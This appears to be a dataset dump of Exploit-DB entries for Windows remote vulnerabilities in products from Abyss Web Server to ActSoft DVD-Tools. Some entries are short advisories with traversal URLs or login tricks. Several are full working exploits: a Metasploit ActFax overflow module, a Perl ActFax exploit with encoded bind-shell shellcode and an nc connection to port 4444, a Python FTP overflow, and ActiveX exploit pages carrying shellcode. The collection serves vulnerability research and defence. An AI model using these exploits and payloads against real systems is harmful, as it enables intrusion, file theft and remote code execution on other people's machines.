deardaniel/secdata-raw huggingface dataset:
Exploit-DB #21367
Description: Abyss Web Server 1.0 - File Disclosure
Type: remote
Platform: windows
Date: 2002-04-07
Author: Jeremy Roberts

Exploit:
source: https://www.securityfocus.com/bid/4466/info

Abyss Web Server is a freely available personal web server. It is maintained by Aprelium Technologies and runs on Microsoft Windows operating systems, as well as Linux.

It is possible for a remote attacker to disclose the contents of arbitrary web-readable files by making a specially crafted web request containing encoded dot-dot-slash (../) sequences.

This issue may be exploited by a remote attacker to gain access to the administrative configuration file for the web server. Another known issue regarding plaintext storage of the administrative password is described in BugTraq ID 4467 "Abyss Web Server Plaintext Administrative Password Vulnerability" .

This issue was reported for Abyss Web Server for Microsoft Windows operating systems. It is not known whether the Linux version is also affected by this vulnerability. Furthermore, it should be noted that web servers on multi-user Windows operating systems generally run with SYSTEM privileges. 

http://target/cgi-bin/%2e%2e/abyss.conf
Exploit-DB #23419
Description: Abyss Web Server 1.0/1.1 - Authentication Bypass
Type: remote
Platform: windows
Date: 2003-12-08
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/9171/info

It has been reported that Abyss Web Server is prone to an authentication bypass vulnerability that may allow an attacker to gain access to server resources. This issue may be carried out by accessing a password protected directory under which the server is running by adding a period as '.' or '%2e' at the end of a URL request. This problem only presents itself when the server is installed on a Linux system running FAT32.

Abyss Web Server versions prior to 1.2 have been reported prone to this issue. 

http://www.example.com/protected_FAT32_dir.
http://www.example.com/protected_FAT32_dir./
http://www.example.com/protected_FAT32_dir%2e
Exploit-DB #23533
Description: Accipiter DirectServer 6.0 - Remote File Disclosure
Type: remote
Platform: windows
Date: 2004-01-09
Author: Mark Bassett

Exploit:
source: https://www.securityfocus.com/bid/9389/info

This vulnerability may allow and attacker to gain access to files that reside outside of the web root directory using a specially crafted URI that contains URL-encoded variations of directory traversal sequences.

This issue has been reported to affect Windows variants of the software. It is not known if other versions are also affected.

http://www.example.com/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini
Exploit-DB #35166
Description: Ace Video Workshop 1.2.0.0 - 'ir50_lcs.dll' DLL Loading Arbitrary Code Execution
Type: remote
Platform: windows
Date: 2011-01-03
Author: d3c0der

Exploit:
// source: https://www.securityfocus.com/bid/45675/info

Ace Video Workshop is prone to an arbitrary-code-execution vulnerability.

An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file.

Ace Video Workshop 1.2.0.0 is vulnerable; other versions may also be affected.

#include <windows.h> 
#define DllExport __declspec (dllexport) DllExport void DwmSetWindowAttribute() { egg();}

int pwnme() 
{
MessageBox(0, "dll hijacked !! ", "Dll Message", MB_OK); 
exit(0); 
return 0; 
}
Exploit-DB #31997
Description: AceFTP 3.80.3 - 'LIST' Directory Traversal
Type: remote
Platform: windows
Date: 2008-06-27
Author: Tan Chew Keong

Exploit:
source: https://www.securityfocus.com/bid/29989/info

AceFTP is prone to a directory-traversal vulnerability because the application fails to sufficiently sanitize user-supplied input.

Exploiting this issue allows an attacker to write arbitrary files to locations outside of the application's current directory. This could help the attacker launch further attacks.

AceFTP Freeware 3.80.3 and AceFTP Freeware 3.80.3 are vulnerable; other versions may also be affected.

Response to LIST:

/../../../../../../../../../testfile.txt\r\n
Exploit-DB #2866
Description: Acer LunchApp.APlunch - ActiveX Control Command Execution
Type: remote
Platform: windows
Date: 2006-11-30
Author: Tan Chew Keong

Exploit:
<!--
Author: Tan Chew Keong 
Site: http://vuln.sg/
Acer Notebook LunchApp.APlunch ActiveX Control Command Execution Exploit
-->

<html>
<body>
<object classid="clsid:D9998BD0-7957-11D2-8FED-00606730D3AA" id="hahaha">
</object>
<script>
hahaha.Run("c", "\\windows\\system32\\calc.exe", "");
</script>
</html>
</body>

# milw0rm.com [2006-11-30]
Exploit-DB #22032
Description: acFTP 1.4 - Invalid Password Weak Authentication
Type: remote
Platform: windows
Date: 2002-11-25
Author: Matthew Murphy

Exploit:
source: https://www.securityfocus.com/bid/6235/info

A vulnerability has been reported for acFTP. Reportedly, acFTP allows users to authenticate without a valid password.

An attacker can exploit this vulnerability and log on to the vulnerable FTP server without need for proper authentication.

USER private
PASS #
Exploit-DB #20884
Description: ACLogic CesarFTP 0.98b - Directory Traversal
Type: remote
Platform: windows
Date: 2001-05-27
Author: byterage

Exploit:
source: https://www.securityfocus.com/bid/2786/info

CesarFTP is a freely available FTP Server for Microsoft Windows 9x/ME systems.

CesarFTP on Windows 98/Me platforms contains a 'directory traversal' vulnerability.

If a user requests to change directories to "..." from within a mapped directory, they will change into the directory above the 'real' directory on the filesystem. At this point they can traverse the filesystem and will have read access to almost every file.

A user must already have an account on the server to take advantage of this vulnerability.

Note: This vulnerability only affects Windows 98/Me systems running CesarFTP. 

First, we need a directory where we have access to on
the victim host...
(Or we can create one if we have enough rights)

ftp://127.0.0.1/

might give us a directory RESTRICTED/ for example
now we do :

ftp://127.0.0.1/RESTRICTED/...%5c/

and we're out of the restricted subdirectory, we have
read access to the whole harddrive
Exploit-DB #24350
Description: Acme thttpd 2.0.7 - Directory Traversal
Type: remote
Platform: windows
Date: 2004-08-04
Author: CoolICE

Exploit:
source: https://www.securityfocus.com/bid/10862/info

It is reported that thttpd is susceptible to a directory traversal vulnerability. This issue presents itself due to insufficient sanitization of user-supplied data. This issue only exists in the Windows port of the application, as it does not correctly take into consideration the environmental attributes of file system access in applications.

This issue may allow an attacker to retrieve arbitrary, potentially sensitive files, from the affected host computer, as the user that the thttpd process is running as.

Version 2.07 beta 0.4 of thttpd, running on a Microsoft Windows platform is reported vulnerable to this issue.

http://www.example.com/%5c../test.ini
http://www.example.com/c:\test.ini
Exploit-DB #12310
Description: Acritum Femitter 1.03 - Directory Traversal
Type: remote
Platform: windows
Date: 2010-04-20
Author: Dr_IDE

Exploit:
############################################################
#
# Acritum Femitter v1.03 Directory Traversal Exploit
# Found By:             Dr_IDE
# Date:                 Apr. 20, 2010
# Tested On:            Windows 7
# Download:             http://acritum.com/fem/download.htm
#
############################################################

- Description -

Acritum Femitter v1.03 is a Windows based HTTP server. This is the latest
version of the application available.

Acritum Femitter v1.03 is vulnerable to remote directory traversal attack by the
following means.

- Technical Details -
http://[webserver IP]/[\../]

http://172.16.2.102////..%2f..%2f..%2f..%2fboot.ini                                             <- File Access
http://172.16.2.102////..%2f..%2f..%2f..%2fwindows/system32                             <- Full Directory Listing
http://172.16.2.102////..%2f..%2f..%2f..%2fwindows/system32/calc.exe    <- File Download

#[pocoftheday.blogspot.com]
Exploit-DB #44345
Description: Acrolinx Server < 5.2.5 - Directory Traversal
Type: remote
Platform: windows
Date: 2018-03-26
Author: Berk Dusunur

Exploit:
# Exploit Title: Acrolinx Dashboard Directory Traversal
# CVE: CVE 2018-7719
# Date: 19.02.2017
# Exploit Author: Berk Dusunur
# Vendor Homepage: www.acrolinx.com
# Version:Before 5.2.5

PoC

Acrolinx dashboard windows works on the server.


http://localhost/..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows\win.ini

http://www.berkdusunur.net/2018/03/tr-en-acrolinx-dashboard-directory.html
Exploit-DB #5228
Description: acronis pxe server 2.0.0.1076 - Directory Traversal / Null Pointer
Type: remote
Platform: windows
Date: 2008-03-10
Author: Luigi Auriemma

Exploit:
#######################################################################

                             Luigi Auriemma

Application:  Acronis PXE Server
              http://www.acronis.com/enterprise/products/snapdeploy/
Versions:     <= 2.0.0.1076
Platforms:    Windows
Bugs:         A] directory traversal
              B] NULL pointer
Exploitation: remote
Date:         08 Mar 2008
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bugs
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


The Acronis PXE Server is an essential component of Acronis Snap Deploy
Server, a deployment solution for automatically configuring all the
clients of the local network.


#######################################################################

=======
2) Bugs
=======

----------------------
A] directory traversal
----------------------

The PXE Server (pxesrv.exe) implements a TFTP server for allowing the
downloading of the bootstrap files (uploading is not allowed).
This service is vulnerable to a classical directory traversal and an
arbitrary path attacks which allow an attacker to download any file
from the local disks or the network shares.


---------------
B] NULL pointer
---------------

An incomplete TFTP request (anything which goes from the simple absence
of the option field to the usage of only the 2 bytes for the opcode)
causes the crashing of the PXE Server due to a NULL pointer access.


#######################################################################

===========
3) The Code
===========


A]
http://aluigi.org/testz/tftpx.zip

  tftpx SERVER ..\../..\../boot.ini none
  tftpx SERVER c:\boot.ini none
  tftpx SERVER \\internal_host\documents\file.txt none

B]
send the bytes 00 01 to UDP port 69 of the server:

  echo -n -e \x00\x01|nc SERVER 69 -v -v -u



#######################################################################

======
4) Fix
======


No fix


#######################################################################

# milw0rm.com [2008-03-10]
Exploit-DB #24890
Description: ActFax 5.01 - RAW Server Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2013-03-26
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'    => 'ActFax 5.01 RAW Server Buffer Overflow',
      'Description'  => %q{
          This module exploits a vulnerability in ActFax Server 5.01 RAW server. The RAW
        Server can be used to transfer fax messages without any underlying protocols. To
        note significant fields in the fax being transferred, like the fax number or the
        recipient, ActFax data fields can be used. This module exploits a buffer overflow
        in the handling of the @F506 fields due to the insecure usage of strcpy. This
        module has been tested successfully on ActFax 5.01 over Windows XP SP3 (English).
      },
      'License'    => MSF_LICENSE,
      'Author'    =>
        [
          'Craig Freyman', # @cd1zz # discovery and Metasploit module
          'corelanc0d3r', # Metasploit module
          'juan vazquez' # Metasploit module cleanup
        ],
      'References'  =>
        [
          [ 'OSVDB', '89944' ],
          [ 'BID', '57789' ],
          [ 'EDB', '24467' ],
          [ 'URL', 'http://www.pwnag3.com/2013/02/actfax-raw-server-exploit.html' ]
        ],
      'Platform'  => 'win',
      'Payload'  =>
        {
          'BadChars' => (0x00..0x1f).to_a.pack("C*") + "\x40",
          'DisableNops' => true,
          'Space' => 1024,
          'EncoderOptions' =>
            {
              'BufferRegister' => 'ECX'
            }
        },
      'Targets'     =>
        [
          [ 'ActFax 5.01 / Windows XP SP3',
            {
              'Ret'     =>  0x77c35459, # push esp # ret # msvcrt.dll
              'Offset'  =>  1024
            }
          ],
        ],
      'Privileged'   => false,
      'DisclosureDate' => 'Feb 5 2013',
      'DefaultTarget'   => 0))

  end

  def exploit
    connect
    p = payload.encoded
    buffer = p
    buffer << rand_text(target['Offset'] - p.length)
    buffer << [target.ret].pack("V")
    buffer << "\x89\xe1" # mov ecx, esp
    buffer << "\x81\xC1\xFC\xFB\xFF\xFF" # add ecx, -1028
    buffer << "\x81\xC4\x6C\xEE\xFF\xFF" # add esp, -4500
    buffer << "\xE9\xE9\xFB\xFF\xFF" # jmp $-1042
    print_status("Trying target #{target.name}...")
    sock.put("@F506 "+buffer+"@\r\n\r\n")
    disconnect
  end
end
Exploit-DB #16176
Description: ActFax Server (LPD/LPR) 4.25 Build 0221 (2010-02-11) - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2011-02-16
Author: chap0

Exploit:
#!/usr/bin/perl
# Exploit Title: ActFax Server (LPD/LPR) Remote Buffer Overflow Exploit
# Date: Feb 15, 2011
# Author: chap0
# Software Link: http://www.actfax.com/download/actfax_setup_en.exe
# Version: Version 4.25, Build 0221 (2010-02-11)
# Tested on: Windows XP SP3 en
# Big thanks to Sud0 - and an extra greetz to mr_me -RESPECT
# Stay true my friends

print "\nActFax Server LPD/LPR Remote Buffer Overflow\n";
print " chap0 - www.seek-truth.net \n\n";

use IO::Socket;

print "Target Address Please: ";
chomp($target = <STDIN>);
 
my $sock = IO::Socket::INET->new(PeerAddr => $target, PeerPort => '515', Proto => 'tcp');

print "Connecting. . .\n";

# egghunter EDI encoded
my $eggedi="WYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIrFOqZjyo4O1RPRrJwrShXMvNuluUBzBTJOoH2Wtpp0PtLKxzlorUYzlo2UHgKOKWA";


# ./msfpayload windows/shell_bind_tcp LPORT=4444
# alpha2 encoded aligned with edi
my $shellcode="WYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIKLyxniWpwpWpSPk9yuVQJr2DLKsb4pLKP".
"RvllKPR4TnksB18VoNWaZvFvQyotqKpnLwLSQSLuRVL5p9QZo4MS1kwKRJPQB67NkrrtPlKBb5l5Qn0NkcpQhK5kpt4BjWqXPPP".
"LKsxdXlKpX7Ps1jsjC5lg9lKdtlKS1N6uaKOvQyPllo1hOTM5QYWEhKPQel46c3M8x7KSMetpuKRpXlKshQ4GqkccVLK6lPKLK0".
"XUL7qN3lKGtlK31jpLIpDEtUt1KSkCQPY0ZpQKOypshaO2zLKTRJKNf1MQx7CWBUPwpaxt7rSebaOSdphpLPwDfUWkOXUx8npwq".
"uPWp7Yo4cdPPrH5ymPbKWpKOJupPrpbp2p70pPcppPaxxjvoyOKPYoYEmYO7VQkkpSphUReP4QqLoyxf1zFpPVsgcXkrIKVWPgK".
"O8Uccv7rHMgYydx9o9oJubsrs2wbHD4Xl7Km1KOXU67OyZgU81eRN2mU1KOJuRHpcpmU4GpOykS2wv7qGdqHvsZgbV9SfIrKMqv".
"jgW4TdWLEQUQLMstWTvpo6ePw42tpPrvqF1FG6PVrnSfV6pS2vsXqizlUoovkOHUmYkPpNRvQVIotpph7xmWwmSPKON5oKJPH5M".
"rSfu8LfmEMmmMKOiEgL363LgzMPkKkPsEWumk0G230rporJEPPSKOHUgzA";


my $payload1 = "A" . $eggedi . "\x7D" x (256-length($eggedi));
my $addy = "\x7D\x4B\x4A\x00" ;# --> pop EDI/ pop ESI/ pop EBP/ pop EBX/ pop ECX/ retn
my $payload2 = "w00tw00t" . $shellcode;

my $payloads = $payload1.$addy.$payload2;

print $sock $payloads;

 
print "DONE shell in a moment. . .\n";

$connect = "nc -vvn $target 4444";

system $connect
Exploit-DB #16177
Description: ActFax Server FTP 4.25 Build 0221 (2010-02-11) - (Authenticated) Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2011-02-16
Author: chap0

Exploit:
#!/usr/bin/python
# Exploit Title: ActFax Server FTP Remote BOF (post auth)
# Date: Feb 15, 2011
# Author: chap0
# Software Link: http://www.actfax.com/download/actfax_setup_en.exe
# Version: Version 4.25, Build 0221 (2010-02-11)
# Tested on: Windows XP SP3 en
# Big thanks to Sud0 - and an extra greetz to mr_me -RESPECT
# Stay true my friends

import socket

print "\nActFax Server FTP Remote BOF"
print " chap0 - www.seek-truth.net \n"

# pops calc
calccode = "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJINkXlqELKZL587Pep7PdoaxsSSQbLPcLMw5JXbpX8KwOcHBPwkON0A"

# push ebp #pop eax #sub eax,55555521 * 3 :)
junk = "\x55\x58\x2D\x21\x55\x55\x55\x2D\x21\x55\x55\x55\x2D\x21\x55\x55\x55" + "C"*135 + calccode + "A"*(616-len(calccode))

payload = junk + "\x37\x27\x40\x00" #RETN

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.1.2',21))
s.recv(1024)
s.send('USER ' + 'chapo\r\n')
print (s.recv(1024))
s.send('PASS chapo\r\n')
print (s.recv(1024))
s.send('RETR ' + payload + '\r\n')
s.close
Exploit-DB #44987
Description: Activision Infinity Ward Call of Duty Modern Warfare 2 - Buffer Overflow
Type: remote
Platform: windows
Date: 2018-07-09
Author: Maurice Heumann

Exploit:
# Exploit Title: Stack-based buffer overflow in Activision Infinity Ward Call of Duty Modern Warfare 2
# Date: 14-12-2017
# Exploit Author: Maurice Heumann
# Contact: https://twitter.com/momo5502?lang=en
# Website: https://momo5502.com/
# CVE: CVE-2018-10718
# Category: webapps

1. Description

By sending a crafted network packet, it's possible construct a stack
overflow in Call of Duty: Modern Warfare (amongst other versions).

2. Proof of Concept

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44987.zip
Exploit-DB #3844
Description: ActSoft DVD-Tools - 'dvdtools.ocx 3.8.5.0' Remote Stack Overflow
Type: remote
Platform: windows
Date: 2007-05-04
Author: shinnai

Exploit:
<html>
 <object classid='clsid:894A633E-F261-28BD-96F3-380EBEE1BADE' id='test'></object>
  <script language = 'vbscript'>

   '----------------------------------------------------------------------------------
   ' ActSoft DVD-Tools (dvdtools.ocx v. 3.8.5.0) Stack Overflow Exploit (MoAxB bonus)
   ' url: http://www.activex-soft.com
   '
   ' original advisory: http://www.shinnai.altervista.org/viewtopic.php?id=41&t_id=30
   '                    http://www.milw0rm.com/exploits/3307
   ' author: shinnai
   ' mail: shinnai[at]autistici[dot]org
   ' site: http://shinnai.altervista.org
   ' Tested on Windows XP Professional SP2 full patched, with Internet Explorer 7
   ' This exploit was written for working on Windows XP Professional SP2
   '----------------------------------------------------------------------------------

   buff      = String(380,"A")

   get_EIP   = unescape("%EB%AA%D7%77")

   buff2     = String(92,"A")

   nop       = unescape("%90%90%90%90%90%90%90%90%90%90")

   shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _
               unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _
               unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _
               unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _
               unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54") & _
               unescape("%42%30%42%50%42%50%4b%58%45%54%4e%53%4b%58%4e%37") & _
               unescape("%45%50%4a%47%41%30%4f%4e%4b%38%4f%44%4a%51%4b%48") & _
               unescape("%4f%55%42%42%41%30%4b%4e%49%44%4b%48%46%43%4b%38") & _
               unescape("%41%30%50%4e%41%53%42%4c%49%49%4e%4a%46%58%42%4c") & _
               unescape("%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e") & _
               unescape("%46%4f%4b%53%46%35%46%32%46%30%45%37%45%4e%4b%48") & _
               unescape("%4f%35%46%32%41%50%4b%4e%48%56%4b%38%4e%50%4b%54") & _
               unescape("%4b%48%4f%55%4e%31%41%30%4b%4e%4b%38%4e%41%4b%38") & _
               unescape("%41%30%4b%4e%49%58%4e%35%46%42%46%50%43%4c%41%43") & _
               unescape("%42%4c%46%36%4b%48%42%34%42%33%45%38%42%4c%4a%37") & _
               unescape("%4e%30%4b%48%42%34%4e%50%4b%48%42%57%4e%31%4d%4a") & _
               unescape("%4b%38%4a%46%4a%50%4b%4e%49%50%4b%48%42%38%42%4b") & _
               unescape("%42%30%42%50%42%30%4b%48%4a%36%4e%53%4f%35%41%33") & _
               unescape("%48%4f%42%46%48%35%49%58%4a%4f%43%48%42%4c%4b%57") & _
               unescape("%42%55%4a%46%42%4f%4c%48%46%50%4f%35%4a%46%4a%49") & _
               unescape("%50%4f%4c%38%50%30%47%55%4f%4f%47%4e%43%56%41%36") & _
               unescape("%4e%46%43%46%50%52%45%36%4a%37%45%36%42%30%5a")

   egg       = buff + get_EIP + buff2 + get_EIP + nop + shellcode + nop

   test.OpenDVD egg

 </script>
</html>

# milw0rm.com [2007-05-04]